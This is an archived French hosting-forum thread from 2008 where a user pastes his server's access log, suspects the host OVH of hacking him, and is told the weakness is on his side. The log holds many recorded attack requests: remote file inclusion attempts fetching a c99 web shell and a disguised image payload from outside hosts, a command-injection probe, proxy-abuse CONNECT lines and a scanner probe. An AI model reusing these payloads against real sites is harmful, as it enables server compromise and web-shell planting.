PDA

Voir la version complète : OVH est le Hacker ! Vrai ou faux ?

jeromecools
01/02/2008, 21h21
home/log/http/och-access_log

On me traite de hacker, et pourtant dans les log d'OVH, je trouve ceci :

81.246.45.219 - - [26/Jan/2008:08:22:45 +0100] "GET /sqlitemanager/main.php HTTP/1.1" 404 326 "-" "Mozilla/6.0"
81.246.45.219 - - [26/Jan/2008:08:22:47 +0100] "GET /admin/business_inc/saveserver.php?thisdir=http://80.231.130.12/wwwroot/c99.txt? HTTP/1.1" 404 337 "-" "Mozilla/6.0"
69.61.82.223 - - [26/Jan/2008:16:07:35 +0100] "CONNECT 66.252.28.191:7250 HTTP/1.0" 405 344 "-" "-"
127.0.0.1 - - [31/Jan/2008:05:11:13 +0100] "GET /?search_keywords=update/phpbb_root_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:11:13 +0100] "GET /?mosConfig_absolute_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:13:31 +0100] "GET /?p=12919/phpbb_root_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:14:42 +0100] "GET /?%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:24:27 +0100] "GET /?mosConfig_absolute_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:27:23 +0100] "GET /?t=4957&start=0/phpbb_root_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:36:10 +0100] "GET /?t=4873&start=0/phpbb_root_path=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:38:24 +0100] "GET /?%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:38:24 +0100] "GET /?%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:05:38:24 +0100] "GET /?%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:27:51 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:27:51 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:28:05 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:28:05 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:39:20 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:41:56 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:06:41:57 +0100] "GET /?lien=http://www.terranova.dk/files/scandiertbanner.jpg%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f% 3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f %3f%3f HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:08:09:16 +0100] "GET / HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:08:09:17 +0100] "GET / HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
157.164.187.69 - - [31/Jan/2008:14:02:52 +0100] "GET / HTTP/1.0" 200 315 "-" "ClamAV 0.92"
87.118.108.234 - - [31/Jan/2008:14:22:30 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 339 "-" "-"
66.249.65.212 - - [31/Jan/2008:19:58:03 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.212 - - [31/Jan/2008:19:58:03 +0100] "GET /~jeromeet/ HTTP/1.1" 200 899 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
82.146.52.136 - - [31/Jan/2008:21:04:38 +0100] "CONNECT 66.252.24.172:3124 HTTP/1.0" 405 344 "-" "-"
82.146.52.136 - - [31/Jan/2008:21:04:38 +0100] "POST http://66.252.24.172:3124/ HTTP/1.0" 200 315 "-" "-"
127.0.0.1 - - [31/Jan/2008:21:54:36 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:54:38 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:54:39 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:54:40 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:55:01 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:55:01 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:55:21 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:55:21 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:55:59 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:56:03 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:56:20 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:56:29 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:56:33 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:56:33 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:56:55 +0100] "GET /Toastmaster/ HTTP/1.1" 404 313 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:05 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:05 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:08 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:08 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:19 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:19 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:26 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
127.0.0.1 - - [31/Jan/2008:21:57:26 +0100] "GET /?module_root_path=%257Cid%257C HTTP/1.1" 200 315 "-" "libwww-perl/5.803"
sadkun
01/02/2008, 21h23
évites de lancer des accusations, tu risques de te retrouver sur le piloris :D La faille vient de chez toi, donnes nous les scripts installé sur ton serveur (phpbb, ..)
jeromecools
01/02/2008, 21h26
évites de lancer des accusations, tu risques de te retrouver sur le piloris :D La faille vient de chez toi, donnes nous les scripts installé sur ton serveur (phpbb, ..)

Je n'ai pas installer phpbb !

Et aucun fichier n'est sur mon serveur !

Est-il possible d'utiliser un mon IP ? Est-il vraiment unique ?
caaptusss
01/02/2008, 22h27
C'est quoi tous ces multi poste ??? J'vais finir par croire que tu l'est vraiment !
jeromecools
01/02/2008, 22h41
Une erreur, désoler...

Mais je ne le suis pas, je cherche des réponses...